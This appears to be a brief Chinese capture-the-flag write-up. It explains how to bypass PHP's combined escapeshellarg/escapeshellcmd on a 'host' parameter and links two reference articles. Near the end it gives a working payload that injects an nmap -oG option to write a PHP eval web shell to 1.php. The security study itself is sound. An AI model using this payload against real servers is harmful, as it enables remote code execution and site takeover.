# Online

```
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
```

放上两个学习连接，具体不写了

[利用/绕过 PHP escapeshellarg/escapeshellcmd函数](https://www.anquanke.com/post/id/107336)

[PHP escapeshellarg()+escapeshellcmd() 之殇](https://paper.seebug.org/164/)

**escapeshellarg**

1.确保用户只传递一个参数给命令\
2.用户不能指定更多的参数一个\
3.用户不能执行不同的命令

**escapeshellcmd**

1.确保用户只执行一个命令\
2.用户可以指定不限数量的参数\
3.用户不能执行不同的命令

其实就是bypass这两个函数

```
'<?php eval($_POST["a"]);?> -oG 1.php ' 
```

在单引号的字符串可以当做命令执行

写入文件后shell
